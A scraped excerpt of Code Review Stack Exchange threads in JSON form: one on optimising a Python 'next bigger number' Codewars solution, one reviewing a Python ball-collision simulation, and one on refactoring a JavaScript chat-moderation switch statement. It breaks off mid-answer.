"body": "The current title of your question is too generic. Please state in title the task accomplished by the code. [How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T08:28:44.340",
"Id": "489998",
"Score": "0",
"body": "FYI a similar [question](https://codereview.stackexchange.com/questions/115609/next-bigger-number-with-the-same-digits)."
}
] |
[
{
"body": "<p>If you think about the numbers and the requirements, you will be able to figure out some properties of numbers that you can use to make your solution more efficient.</p>\n<p>Your solution is simple but not efficient, as said in the comments, because for example it creates all the permutations and sorts them. If you have a number 10 digits long, you have a lot of permutations that you create and sort. This is called a "<strong>brute force</strong>" solution, and is often the easiest to come up with, but far from efficient, for many types of problems.</p>\n<p>As an example, if the last digit in the number is larger than the second-last, flipping them will give a larger number that is a good candidate answer without even looking at the other digits. This is one such property that allows you to reduce the search space for potential solutions. Now we may just be looking at 1 candidate, or if we investigate the last 3 digits, we may be looking at about 10 permutations instead of 1000's.</p>\n<p>The code you need to write will be larger, because you need to program various special cases. But the run time will be shorter because the program won't have to look at all the permutations, you can exclude most of the numbers without ever trying them.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:16:00.337",
"Id": "249871",
"ParentId": "249861",
"Score": "1"
}
},
{
"body": "<h1>Time & Memory Complexity</h1>\n<p>Your code uses a lot of time and memory.</p>\n<p>With an <span class=\"math-container\">\\$d\\$</span> digit number, you will get roughly <span class=\"math-container\">\\$d!\\$</span> different permutations of digits. <code>list(permutations(str(n)))</code> will cause all of these permutations to be realized in a list <span class=\"math-container\">\\$d!\\$</span> elements long.</p>\n<p>You take this list, and then repeatedly take one permutation from it, convert it into a number, add append it to the end of a <code>result</code> list, growing the list one element at a time. This can be an <span class=\"math-container\">\\$O(k^2)\\$</span> operation, and since <span class=\"math-container\">\\$k\\$</span> in this case is <span class=\"math-container\">\\$d!\\$</span>, you have <span class=\"math-container\">\\$O({d!}^2)\\$</span> time complexity.</p>\n<p>Next, you take this list, and sort it, which is an <span class=\"math-container\">\\$O(k \\log k)\\$</span> operation, or in this case <span class=\"math-container\">\\$O(d! \\log {d!})\\$</span>.</p>\n<p>Finally, you take this sorted list, and loop through it until you find the first value larger than the starting value.</p>\n<p>Space complexity: <span class=\"math-container\">\\$O(d!)\\$</span>. Time complexity: <span class=\"math-container\">\\$O({d!}^2)\\$</span>.</p>\n<h1>Removing the <span class=\"math-container\">\\$O(k^2)\\$</span></h1>\n<p>The simplest way to avoid the creation of list, and repeated append operation (which may cause a relocation & copy of all previous elements for each additional element added to it), is to allocate an array of the correct size ahead of time.</p>\n<p>Since this is such a common operation, Python even gives us a shortcut: list comprehension. Any code of the form:</p>\n<pre><code>destination = []\nfor value in source:\n destination.append(func(value))\n</code></pre>\n<p>can be rewritten as:</p>\n<pre><code>destination = [func(value) for value in source]\n</code></pre>\n<p>The Python interpreter can (via the<code>__length_hint__</code> from <a href=\"https://www.python.org/dev/peps/pep-0424/\" rel=\"nofollow noreferrer\">PEP424</a>) tell that it will be allocating a new list of <code>len(container)</code> elements, and may pre-allocate that storage, and then start populating the elements of that list.</p>\n<p>(<strong>Note</strong>: CPython, IronPython, Anaconda, and other big snakes may implement things differently under the hood, possibly amortizing individual appends down to an <span class=\"math-container\">\\$O(1)\\$</span> operation, and may or may not use <code>__length_hint__</code>, but the point still is using list comprehension will always be faster than allocating a list and repeatedly appending elements one at a time.)</p>\n<p>We can re-write your function as:</p>\n<pre><code>def next_bigger(n):\n per = list(permutations(str(n)))\n result = [int("".join(j)) for j in per]\n for i in sorted(result):\n if i > n:\n return i\n</code></pre>\n<p>Space complexity: <span class=\"math-container\">\\$O(d!)\\$</span>. Time complexity: <span class=\"math-container\">\\$O(d! \\log {d!})\\$</span>.</p>\n<h1>Removing the <span class=\"math-container\">\\$O(k \\log k)\\$</span></h1>\n<p>Sorting is an expensive operation. We don't want to do it if we don't have to. And we definitely don't have to here; we only want one value as a result.</p>\n<p>You are looking for the smallest value, from a list of values, that is larger than the input. We can filter out all values which aren't larger than the input:</p>\n<pre><code> candidates = [value for value in result if value > n]\n</code></pre>\n<p>And then return the minimum of all candidates:</p>\n<pre><code> return min(candidates)\n</code></pre>\n<p>No sorting. Space complexity: <span class=\"math-container\">\\$O(d!)\\$</span>. Time complexity: <span class=\"math-container\">\\$O({d!})\\$</span>.</p>\n<h1>Removing the <span class=\"math-container\">\\$O(d!)\\$</span> Space Complexity</h1>\n<p>There is no reason to store any intermediate results. You could generate your list of permutations, and for each permutation, convert it back to a number, discard any value that isn't larger that the original, and remember the smallest value which passes.</p>\n<pre><code>def next_bigger(n):\n per = permutations(str(n))\n\n result = (int("".join(j)) for j in per)\n\n candidates = (i for i in result if i > n)\n\n return min(candidates)\n</code></pre>\n<p><code>permutations(...)</code> is a generator function, so <code>per</code> is assigned a generator object. We use that generator to construct our own generator that converts a digits of a permutation into an integer, and store that generator in <code>result</code>. We take that generator and create another one which only produces values larger than the original, assigning the generator to <code>candidates</code>.</p>\n<p>At this point, no permutations have been created yet. No digits have been joined, and converted to an integer. And no values have been tested for whether they are greater than the original. Only generators for these actions have been created.</p>\n<p>Then, we pass the last generator to <code>min(...)</code>. The <code>min(...)</code> function asks this generator for a value, and then for another value and save the smaller, and then another value and saves the smaller, and so on. Only the smallest value is preserved at each step.</p>\n<p>No list creation. Space complexity: <span class=\"math-container\">\\$O(1)\\$</span>. Time complexity: <span class=\"math-container\">\\$O({d!})\\$</span>.</p>\n<h1>Readability</h1>\n<p>I've used your variable names (<code>n</code>, <code>per</code>, <code>result</code>, <code>j</code>, and <code>i</code>) unmodified in my "improvements". But someone reading the code has to inspect the code to determine that <code>j</code> is a tuple of digits, and <code>i</code> is the corresponding integer value. Better variable names go a long way towards more understandable code. Type hints and <code>"""docstrings"""</code> are also extremely useful.</p>\n<pre><code>from itertools import permutations\n\ndef next_bigger(number: int) -> int:\n """\n For a positive integer, returns the next larger number that can\n be formed by rearranging its digits. For example:\n\n >>> next_bigger(12)\n 21\n\n >>> next_bigger(513)\n 531\n\n >>> next_bigger(2017)\n 2071\n """\n\n permuted_values = (int("".join(permuted_digits))\n for permuted_digits in permutations(str(number)))\n \n return min(value for value in permuted_values if value > number)\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod(verbose=True)\n</code></pre>\n<p>Of course, for a Code Wars submission, you'd strip out the docstrings, doctest, type hints in the pursuit of speed.</p>\n<h1>A Better Algorithm</h1>\n<p>The above are minor improvements on your existing algorithm. As comments and other posts indicate, there is a better algorithm.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T11:52:01.493",
"Id": "490095",
"Score": "0",
"body": "Uh... so you're saying you don't know that `list.append` is amortized O(1)? And I don't believe the list comprehension pre-allocates the space. What makes you think so?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T12:03:25.473",
"Id": "490098",
"Score": "0",
"body": "Btw, if you sort `n`'s digits before giving them to `permutations`, then you can use `next` instead of `min`, i.e., stop early."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T12:05:18.640",
"Id": "490099",
"Score": "0",
"body": "Oh and it's rather confusing to re-use the name \"n\" in the complexity analysis for something completely different."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-30T17:29:49.057",
"Id": "490426",
"Score": "0",
"body": "In case it wasn't clear: The repeated appends already are O(n) in total, not just O(n^2) (thus the whole part about removing the O(n^2) is misleading). And as `import dis; dis.dis('[int(\"\".join(j)) for j in per]')` shows, the list comp doesn't pre-allocate but builds an empty list and then repeatedly does appends as well (at least in CPython), so that part is wrong."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-01T22:44:20.997",
"Id": "490561",
"Score": "0",
"body": "@HeapOverflow Wow, I really messed up my n's, k's, and d's in my complexity analysis. I shouldn't post that late at night. Fixed. Regarding `list.append`, you'll notice I used \"may\" in my original wording. As for preallocation, PEP424 officially adds `__length_hint__` to the language, so interpreters _other than_ CPython can _also_ do preallocation. Anyhoo, I've added clarification about that to my post, as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-02T01:50:14.880",
"Id": "490565",
"Score": "0",
"body": "@AJNeufeld Hmm, no, none of the five \"may\" were there until your edit now :-). It's better now, but imho still sounds unreasonably alarming about the appends. In CPython it's amortized O(1), Python's [TimeComplexity](https://wiki.python.org/moin/TimeComplexity) page says it is, and no sane implementation won't do it that way. The answer also still pretends that list comprehension \"removes the O(k^2)\". If you're worried that appends aren't amortized O(1), then, since list comprehension *also* uses appends (at least in CPython), they'd have the same problem. That also..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-02T01:50:17.423",
"Id": "490566",
"Score": "0",
"body": "... makes your statement *\"list comprehension will always be faster than allocating a list and repeatedly appending elements one at a time\"* rather nonsensical. List comprehension can't be faster than that if it's exactly doing that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-02T03:00:41.777",
"Id": "490571",
"Score": "0",
"body": "@HeapOverflow Your right, I originally said, “_... can be an O(n²) operation ..._”; I didn’t use the word “_may_”."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T02:23:24.060",
"Id": "249907",
"ParentId": "249861",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249907",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T20:33:45.403",
"Id": "249861",
"Score": "1",
"Tags": [
"python",
"programming-challenge"
],
"Title": "Optimizing code in codewars"
}
|
249861
|
<p>I am currently a Python beginner, who just finished a script simulating collisions between circles (balls) in 2 dimensions.<br />
I would appreciate comments on overall structure, variable names and really anything else.</p>
<p>There are bug present, such as a ball occasionally slipping out of a corner, but the code is functional<br />
<strong>Note</strong>: The code is auto-formatted with 'black'<br />
<a href="https://gist.github.com/JSogaard/187d7dc0558a929aa79c78a1272994f8" rel="noreferrer">Link to Gist</a></p>
<pre><code>import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation
from random import randint, uniform
class Simulation:
def __init__(
self, size, ball_count, max_v_factor, r_range=None, gravity=False, save=False
):
self.size = size
self.balls = []
self.max_v_factor = max_v_factor
self.r_range = r_range
self.gravity = gravity
self.fig = plt.figure()
self.ax = plt.axes()
self.save = save
# Generate list of ball objects with random values
for _ in range(ball_count):
pos = np.array([randint(10, self.size - 10), randint(10, self.size - 10)])
v = np.array(
[
uniform(-size / self.max_v_factor, size / self.max_v_factor),
uniform(-size / self.max_v_factor, size / self.max_v_factor),
]
)
if self.r_range:
r = uniform(self.r_range[0], self.r_range[1])
else:
r = size / 20
# Calculating mass based on simplified formula for volume of sphere
m = r ** 3
self.balls.append(Ball(pos, m, v, r))
def update(self):
"""Updates the positions and velocities of the balls"""
for i, ball in enumerate(self.balls):
ball.move(self.gravity)
# Get ball's properties
ball_pos, _, _, ball_r = ball.get_properties()
for other in self.balls[i + 1 :]:
# Get other ball's properties
other_pos, _, _, other_r = other.get_properties()
# Find the scalar difference between the position vectors
diff_pos = np.linalg.norm(ball_pos - other_pos)
# Check if the balls' radii touch. If so, collide
if diff_pos <= ball_r + other_r:
ball.collide(other)
diff_vec = ball_pos - other_pos
# 'clip' is how much the balls are clipped
clip = ball_r + other_r - diff_pos
# Creating normal vector between balls
diff_norm = diff_vec / diff_pos
# Creating 'clip_vec' vector that moves ball out of the other
clip_vec = diff_norm * clip
# Set new position
ball.set_pos(ball_pos + clip_vec)
# Check if the ball's coords is out of bounds
# X-coord
if ball_pos[0] - ball_r < 0:
ball.bounce_x(-ball_pos[0] + ball_r)
elif ball_pos[0] + ball_r > self.size:
ball.bounce_x(self.size - ball_pos[0] - ball_r)
# Y-coord
elif ball_pos[1] - ball_r < 0:
ball.bounce_y(-ball_pos[1] + ball_r)
elif ball_pos[1] + ball_r > self.size:
ball.bounce_y(self.size - ball_pos[1] - ball_r)
def animate(self, _):
"""Updates and returns plot. To be used in Matplotlib's FuncAnimation"""
self.ax.patches = []
self.update()
for ball in self.balls:
pos, _, _, r = ball.get_properties()
circle = plt.Circle(pos, r, color="blue")
self.ax.add_patch(circle)
return (self.ax,)
def show(self):
"""Draws the table and balls"""
self.ax.set_aspect(1)
self.ax.set_xlim(0, self.size)
self.ax.set_ylim(0, self.size)
anim = animation.FuncAnimation(
self.fig, self.animate, frames=1500, interval=5, save_count=1500
)
if self.save:
writer = animation.FFMpegWriter(fps=60)
anim.save("animation.mp4", writer=writer)
plt.show()
class Ball:
def __init__(self, pos, m, v, r):
"""Initialises ball with a position, mass and velocity and radius"""
self.pos = pos
self.m = m
self.v = v
self.r = r
def move(self, gravity=False):
"""Moves ball 'v' distance."""
if gravity:
self.v[1] -= gravity / 20
self.pos[0] += self.v[0]
self.pos[1] += self.v[1]
def collide(self, other):
"""Computes new velocities for two balls based on old velocities"""
# Get other ball's properties
other_pos, other_m, other_v, _ = other.get_properties()
# Create a normal vector to the collision surface
norm = np.array([other_pos[0] - self.pos[0], other_pos[1] - self.pos[1]])
# Convert to unit vector
unit_norm = norm / (np.sqrt(norm[0] ** 2 + norm[1] ** 2))
# Create unit vector tagent to the collision surface
unit_tang = np.array([-unit_norm[1], unit_norm[0]])
# Project self ball's velocity onto unit vectors
self_v_norm = np.dot(self.v, unit_norm)
self_v_tang = np.dot(self.v, unit_tang)
# Project other ball's velocity onto unit vectors
other_v_norm = np.dot(other_v, unit_norm)
other_v_tang = np.dot(other_v, unit_tang)
# Use 1D collision equations to compute the balls' normal velocity
self_v_prime = ((self.m - other_m) / (self.m + other_m)) * self_v_norm + (
(2 * other_m) / (self.m + other_m)
) * other_v_norm
other_v_prime = ((2 * self.m) / (self.m + other_m)) * self_v_norm + (
(other_m - self.m) / (self.m + other_m)
) * other_v_norm
# Add the two vectors to get final velocity vectors and update.
self.v = self_v_prime * unit_norm + self_v_tang * unit_tang
other.set_v(other_v_prime * unit_norm + other_v_tang * unit_tang)
def bounce_x(self, distance):
"""Bounces off and edge parallel to the x axis.
Variable, 'distance', is distance to move back out of wall"""
self.v[0] *= -1
self.pos[0] += distance
def bounce_y(self, distance):
"""Bounces off and edge parallel to the x axis.
Variable, 'distance', is distance to move back out of wall"""
self.v[1] *= -1
self.pos[1] += distance
def get_properties(self):
"""Returns the position, mass and velocity and radius"""
return self.pos, self.m, self.v, self.r
def get_pos(self):
"""Returns the position only"""
return self.pos
def set_pos(self, pos):
"""Sets the new position"""
self.pos = pos
def set_v(self, v):
"""Sets the velocity of the ball"""
self.v = v
if __name__ == "__main__":
sim = Simulation(
size=500,
ball_count=25,
max_v_factor=150,
r_range=(12, 15),
gravity=6,
save=False,
)
sim.show()
</code></pre>
|
[] |
[
{
"body": "<p>First, welcome to CodeReview! Second, let's tear apart your code ;-)</p>\n<h2>Python is not Java</h2>\n<p>To me, this code reads like Java code. It's not "pythonic" in a bunch of small ways.</p>\n<p>The most obvious is the getter/setter mentality. Python is a "consenting adult language." (Watch <a href=\"https://www.youtube.com/watch?v=HTLu2DFOdTg\" rel=\"nofollow noreferrer\">Raymond Hettinger's talk</a> for more.)</p>\n<p>Instead of writing <code>get_foo()</code> and <code>set_foo()</code> just create an attribute <code>foo</code> and let users get or set it on their own. If you absolutely need to intercept those accesses later, you can use the <a href=\"https://docs.python.org/3/library/functions.html?highlight=property#property\" rel=\"nofollow noreferrer\"><code>@property</code></a> decorator to insert a method call.</p>\n<h2>Eliminate comments!</h2>\n<p>You have a good commenting style. You are not blindly repeating the Python code in English prose. But comments are a code smell! Either you felt something was unclear, or you felt that it was inobvious.</p>\n<p>Follow your instincts! If something is unclear or inobvious, <em>give it a name!</em> Instead of a comment like:</p>\n<pre><code># Find the scalar difference between the position vectors\ndiff_pos = np.linalg.norm(ball_pos - other_pos)\n</code></pre>\n<p>why not write a <a href=\"https://web.cs.wpi.edu/%7Ecs1101/a05/Docs/creating-helpers.html\" rel=\"nofollow noreferrer\"><strong>helper function</strong></a> or <strong>helper method</strong> to formally bind the description in the comment to that code?</p>\n<pre><code>def scalar_difference_between_position_vectors(a, b):\n """Return the scalar difference..."""\n return np.linalg.norm(a - b)\n</code></pre>\n<p>Then update your code and delete the comment:</p>\n<pre><code>diff_pos = scalar_difference_between_position_vectors(ball_pos, other_pos)\n</code></pre>\n<p>I'll argue that you can tidy up your code <em>a lot</em> by simply replacing your comments with functions. That includes the giant loop in <code>Simulation.__init__</code></p>\n<h2>Names have power</h2>\n<p>Be careful in your choice of names. Consider this line:</p>\n<pre><code>ball.move(self.gravity)\n</code></pre>\n<p>Seriously? What does that do? I was perfectly okay with <code>ball.move(</code> -- I totally felt like that was a good name and that I understood where you were going. I expected to see a velocity vector get passed in, or maybe an absolute destination. But why would you pass in <em>gravity?</em> Now I'm lost and uncertain. I feel like I don't understand this code at all!</p>\n<p>Worse, when I looked up the definition, I found this:</p>\n<pre><code>def move(self, gravity=False):\n """Moves ball 'v' distance."""\n if gravity:\n self.v[1] -= gravity / 20\n self.pos[0] += self.v[0]\n self.pos[1] += self.v[1]\n</code></pre>\n<p>Ah, of course, <code>gravity</code> isn't something like 9.8 m/s²! It's actually a boolean... that can be divided by 20 ... What's 20?</p>\n<p>So there are a couple of problems here. First, you need to take more care with the names you are giving functions. Instead of <code>ball.move</code> how about <code>ball.update</code> or <code>ball.tick</code> or <code>ball.update_position</code>?</p>\n<p>I'll skip over the whole "what is gravity?" question until the next point. Instead, let's focus on 20.</p>\n<p><code>20</code> in this context is a <a href=\"https://en.wikipedia.org/wiki/Magic_number_%28programming%29\" rel=\"nofollow noreferrer\"><strong>magic number.</strong></a> And magic numbers are subject to one simple but absolute rule:</p>\n<p><a href=\"https://www.youtube.com/watch?v=sqcLjcSloXs\" rel=\"nofollow noreferrer\"><strong>THERE CAN BE ONLY ONE!</strong></a></p>\n<p>And that one is <code>0</code>. Any bare number other than zero probably deserves a name. Possibly something like this:</p>\n<pre><code>TICKS_PER_SECOND = 20\n</code></pre>\n<h2>Use <code>None</code> to check for optional args</h2>\n<blockquote>\n<p>Snap back to reality! Oh!<br />\nWhat was <code>gravity</code>? Oh!<br />\nThat's a parameter: <code>False</code><br />\nOr a <code>bool,</code> you see!<br />\nBut then we divide by twenty!<br />\nThere goes @JSog', he<br />\nChoked, he's so mad but he<br />\nWon't give up that easy!<br />\nNo, he won't have it!</p>\n</blockquote>\n<p>With all due respect to <a href=\"https://youtu.be/_Yhyp-_hX2s?t=75\" rel=\"nofollow noreferrer\">Mr. Mathers</a>, optional parameters are simple if you treat them simply. Just use <code>None</code> and do your test using <code>is [not] None</code>:</p>\n<pre><code>def update_position(delta_t: float, gravity: Optional[float]=None):\n if gravity is not None:\n self.v[VERTICAL] -= gravity * delta_t\n\n self.pos[HORIZONTAL] += self.v[HORIZONTAL] * delta_t\n self.pos[VERTICAL] += self.v[VERTICAL] * delta_t\n</code></pre>\n<p>Don't try to rely on the equivalence between <code>bool</code> and <code>int</code> to get a zero. Just spell out the check. And even better, spell out the expected type using type annotations.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T15:45:11.373",
"Id": "249893",
"ParentId": "249872",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:26:45.980",
"Id": "249872",
"Score": "5",
"Tags": [
"python",
"beginner",
"animation",
"simulation",
"collision"
],
"Title": "Python - 2D Elastic Collision Simulation"
}
|
249872
|
<p>Since I am working alone on this, I would like someone who would take a look and point out any mistakes or things I could have done better.</p>
<p>My questions:</p>
<ol>
<li>How could I improve this big switch statement?</li>
<li>Is there any obvious beginner flaws?</li>
</ol>
<p>The <code>executeModeration</code> is a method I call when a command is an moderation command. The <code>command.parameters[0]</code> contains the parameters a commmand needs to be executed</p>
<pre><code>const executeModeration = async (command, channel) => {
switch (command.command) {
case "ban":
if(command.parameters[0])
await moderation.ban(channel, command.parameters[0], command.parameters[1] !== undefined ? command.parameters[1] : '');
break;
case "unban":
if(command.parameters[0])
await moderation.unban(channel, command.parameters[0]);
break;
case "timeout":
if(command.parameters[0])
await moderation.timeout(channel, command.parameters[0], command.parameters[1] !== undefined ? command.parameters[1] : 300, command.parameters[2] !== undefined ? command.parameters[2] : '');
break;
case "emoteonly":
await moderation.emoteonly(channel);
break;
case "emoteonlyoff":
await moderation.emoteonlyoff(channel);
break;
case "followersonly":
await moderation.followersonly(channel,command.parameters[0] !== undefined ? command.parameters[0] : 30);
break;
case "followersonlyoff":
await moderation.followersonlyoff(channel);
break;
case "r9kbeta":
await moderation.r9kbeta(channel);
break;
case "r9kbetaoff":
await moderation.r9kbetaoff(channel);
break;
case "slow":
await moderation.slow(channel, command.parameters[0] !== undefined ? command.parameters[0] : 30);
break;
case "slowoff":
await moderation.slowoff(channel);
break;
case "subscribers":
await moderation.subscribers(channel);
break;
case "subscribersoff":
await moderation.subscribersoff(channel);
break;
case "mod":
if(command.parameters[0])
await moderation.mod(channel, command.parameters[0]);
break;
case "unmod":
if(command.parameters[0])
await moderation.unmod(channel, command.parameters[0]);
break;
case "vip":
if(command.parameters[0])
await moderation.vip(channel, command.parameters[0]);
break;
case "unvip":
if(command.parameters[0])
await moderation.unvip(channel, command.parameters[0]);
break;
case "clear":
await moderation.clear(channel);
break;
case "host":
if(command.parameters[0])
await moderation.host(channel, command.parameters[0]);
break;
case "unhost":
await moderation.unhost(channel);
break;
case "commercial":
if(command.parameters[0])
await moderation.commercial(channel, command.parameters[0]);
break;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T22:30:52.567",
"Id": "490061",
"Score": "0",
"body": "https://refactoring.guru/smells/switch-statements"
}
] |
[
{
"body": "<p>You can use <strong>Function.prototype.apply()</strong>, your code can be like below:-</p>\n<pre><code>const executeModeration = async (command, channel) => {\n command.parameters.unshift(channel);\n await moderation[command.command].apply(null, command.parameters);\n}\n</code></pre>\n<p>you can handle ternary operators logic inside corresponding method.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:53:35.043",
"Id": "249875",
"ParentId": "249873",
"Score": "7"
}
},
{
"body": "<p>I'm not a JavaScipt programmer, so my suggestions are limited</p>\n<blockquote>\n<p>Is there any obvious beginner flaws?</p>\n</blockquote>\n<p>Using a large case statement like this is a beginners flaw, because it is difficult to maintain (expansion and contraction are difficult) and performance could be improved. In C++ I would use a map of keywords to functions and I would do something similar in C or other languages. Indexing into an array or some other table lookup mechanism is faster than the switch/case logic, and it is easier to add keyword function pairs to a data structure.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T12:03:44.540",
"Id": "249880",
"ParentId": "249873",
"Score": "7"
}
},
{
"body": "<p>Like Mohammed suggested, <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply\" rel=\"nofollow noreferrer\"><code>Function.apply()</code></a> could be used to replace the <code>switch</code> statement.</p>\n<h2>Variable naming</h2>\n<p>If the first argument ‘command‘ is an object that contains a string at key ‘command‘ then a better name would be in line for readability- e.g. ‘options‘.</p>\n<h2>Argument use</h2>\n<p>Because Ecmascript-2015 (A.K.A. ES-6) features like arrow functions are used (as well as ecmascript-2017 (A.K.A. ES-8) features like <code>async</code>/<code>await</code>) the arguments can be unpacked with <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\" rel=\"nofollow noreferrer\">destructuring assignment</a> - e.g. instead of:</p>\n<blockquote>\n<pre><code> const executeModeration = async (command, channel) => {\n</code></pre>\n</blockquote>\n<p>Use some like this:</p>\n<pre><code>const executeModeration = async ({ command, parameters}, channel) => {\n</code></pre>\n<p>That way <code>command</code> refers to the method to run instead of an object with the command and parameters.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T14:20:04.587",
"Id": "249886",
"ParentId": "249873",
"Score": "5"
}
},
{
"body": "<p><strong>Spread</strong> Similar to Mohammed's answer, but without mutation and with spread syntax, which I find easier to read than <code>.apply</code>, you can do something like:</p>\n<pre><code>const executeModeration = async (command, channel) => {\n await moderation[command.command](...command.parameters);\n}\n</code></pre>\n<p><strong>Default parameters</strong></p>\n<p>You use a number of conditional operators when calling functions, eg:</p>\n<pre><code>.ban(\n channel,\n command.parameters[0],\n command.parameters[1] !== undefined ? command.parameters[1] : ''\n);\n</code></pre>\n<pre><code>.timeout(\n channel,\n command.parameters[0],\n command.parameters[1] !== undefined ? command.parameters[1] : 300,\n command.parameters[2] !== undefined ? command.parameters[2] : ''\n);\n</code></pre>\n<p>If possible, it would be good to define the <em>methods</em> such that they assign default parameters, rather than having to pass the defaults from up above. For example, for the <code>timeout</code> method, you could define it like:</p>\n<pre><code>timeout(arg1, arg2 = 300, arg3 = '') {\n}\n</code></pre>\n<p>and then simply pass the spread <code>parameters</code> when calling <code>timeout</code> from the script in your question, and the default parameters will take care of the rest.</p>\n<p>If you cannot modify the <code>moderation</code> object's methods, then a DRY way to create these default parameters would be to make an object indexed by command, whose values are functions which need default parameters and call the <code>moderation</code> method. For example, for <code>.ban</code> and <code>.timeout</code>:</p>\n<pre><code>const executeModeration = ({ command, parameters }, channel) => {\n const fnsWithDefaultParams = {\n ban(arg1, arg2 = '') {\n return moderation.ban(channel, arg1, arg2);\n },\n timeout(arg1, arg2 = 300, arg3 = '') {\n return moderation.timeout(channel, arg1, arg2, arg3);\n },\n // ...\n };\n return fnsWithDefaultParams[command]\n ? fnsWithDefaultParams[command](...parameters)\n : moderation[command](...parameters)\n};\n\n</code></pre>\n<p>Note that there's now no need for an <code>async</code> function if the function explicitly returns a Promise, like above.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T22:25:11.083",
"Id": "490058",
"Score": "0",
"body": "The original function did not return anything and just ended after the promise, so the `async/await` were not needed at all in the first place."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T22:26:16.450",
"Id": "490059",
"Score": "0",
"body": "In ES2020 you can use the null colescing operator. `command.parameters[1] ?? ‘’`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T22:30:27.087",
"Id": "490060",
"Score": "0",
"body": "@Džuris The original function `await`ed calls to `moderation`, so it returned a Promise which resolved only after the call was done. If it `return`ed all the Promises instead, it wouldn't need to be async, yep"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T22:31:03.443",
"Id": "490062",
"Score": "0",
"body": "@PatrickMcElhaney That would permit `null` as a value too, though, and could not be done inside the parameter list"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T23:01:09.190",
"Id": "490065",
"Score": "0",
"body": "@CertainPerformance the original function did not return anyhting, it just awaited before exiting."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T16:14:13.150",
"Id": "249894",
"ParentId": "249873",
"Score": "8"
}
},
{
"body": "<p>My answers will comport several steps. Some steps won't be present anymore in the final answer, but I mention them because you might find interesting to follow that in other contexts.</p>\n<h1>Multiple usage of the same reference to command.parameters[0], command.parameters[1], ...</h1>\n<p>You are using <code>command.parameters[0]</code> literally everywhere. If what you're writing look like repetition, it's a good hint that there is something to factorize.</p>\n<p>So let's start by removing that.</p>\n<pre class=\"lang-js prettyprint-override\"><code>const executeModeration = async (command, channel) => {\n const [param0, param1, param2] = command.parameters;\n switch (command.command) {\n case "ban":\n if (param0)\n await moderation.ban(channel, param0, param1 !== undefined ? param1 : '');\n break;\n case "unban":\n if (param0)\n await moderation.unban(channel, param0);\n break;\n case "timeout":\n if (param0)\n await moderation.timeout(channel, param0, param1 !== undefined ? param1 : 300, param2 !== undefined ? param2 : '');\n break;\n case "emoteonly":\n await moderation.emoteonly(channel);\n break;\n case "emoteonlyoff":\n await moderation.emoteonlyoff(channel);\n break;\n case "followersonly":\n await moderation.followersonly(channel, param0 !== undefined ? param0 : 30);\n break;\n case "followersonlyoff":\n await moderation.followersonlyoff(channel);\n break;\n case "r9kbeta":\n await moderation.r9kbeta(channel);\n break;\n case "r9kbetaoff":\n await moderation.r9kbetaoff(channel);\n break;\n case "slow":\n await moderation.slow(channel, param0 !== undefined ? param0 : 30);\n break;\n case "slowoff":\n await moderation.slowoff(channel);\n break;\n case "subscribers":\n await moderation.subscribers(channel);\n break;\n case "subscribersoff":\n await moderation.subscribersoff(channel);\n break;\n case "mod":\n if (param0)\n await moderation.mod(channel, param0);\n break;\n case "unmod":\n if (param0)\n await moderation.unmod(channel, param0);\n break;\n case "vip":\n if (param0)\n await moderation.vip(channel, param0);\n break;\n case "unvip":\n if (param0)\n await moderation.unvip(channel, param0);\n break;\n case "clear":\n await moderation.clear(channel);\n break;\n case "host":\n if (param0)\n await moderation.host(channel, param0);\n break;\n case "unhost":\n await moderation.unhost(channel);\n break;\n case "commercial":\n if (param0)\n await moderation.commercial(channel, param0);\n break;\n }\n}\n</code></pre>\n<h1>Repetition of pattern variable !== undefined ? variable : value</h1>\n<p>Still another kind of repetition:</p>\n<p><code>variable !== undefined ? variable : value</code> and especially <code>variable !== undefined ? variable : ''</code> is also used everywhere...</p>\n<p>Let's get ride of that.</p>\n<pre 